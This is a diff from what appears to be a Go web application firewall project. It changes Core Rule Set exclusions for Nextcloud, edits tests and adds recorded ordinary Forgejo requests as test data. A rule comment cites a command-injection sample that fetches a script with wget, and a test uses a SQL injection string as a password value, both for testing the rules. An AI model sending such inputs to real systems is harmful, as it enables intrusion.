# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
@@ -29,13 +29,6 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -162,10 +155,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field.
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain"
SecRule &TX:app_nextcloud "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
@@ -450,5 +441,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
-60
View File
@@ -51,66 +51,6 @@ const (
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
// Making a calendar, as a CalDAV client does.
calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
}
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {nextcloud}},
})
// A password that only the phase 2 rule 900127 lets through.
r := request{http.MethodPut, nextcloudUsers + "/alice", []string{formData}}
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < nextcloudThreshold {
t.Errorf("PUT %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
+34 -25
View File
@@ -13,8 +13,6 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// giteaRequests returns the recorded ordinary gitea requests in testdata.
@@ -54,10 +52,10 @@ func TestOrdinaryGiteaRequestsPass(t *testing.T) {
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, withHost(r, giteaHost)); got.Score >= threshold {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
@@ -104,25 +102,17 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused on the hostname where
// they were recorded, otherHost for WordPress and example.com for the other
// apps, while SWW_APPS lists only app for it. They are checked at the
// defaults and while bodies are read. With SWW_APPS unset, every app's fixes
// apply. These only switch checks off, so the requests pass then too. A
// request with neither a body nor a Content-Type header is checked only at
// the defaults: with neither, the set that reads bodies has nothing more to
// check. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{"example.com": {app}, otherHost: {app}}
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -156,35 +146,54 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only. While bodies are read, the Core Rule Set still refuses the
// file and branch names some of them carry in a form or JSON body, as it does
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
}
}
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
wantRecordedRequestsPass(t, "wordpress-requests.txt")
}
+470
View File
@@ -0,0 +1,470 @@
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
# the API and the generic package registry, and by crane on the container
# registry. Each line is one request as JSON. Names, addresses and passwords
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
# multipart part that is not text is written as base64.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
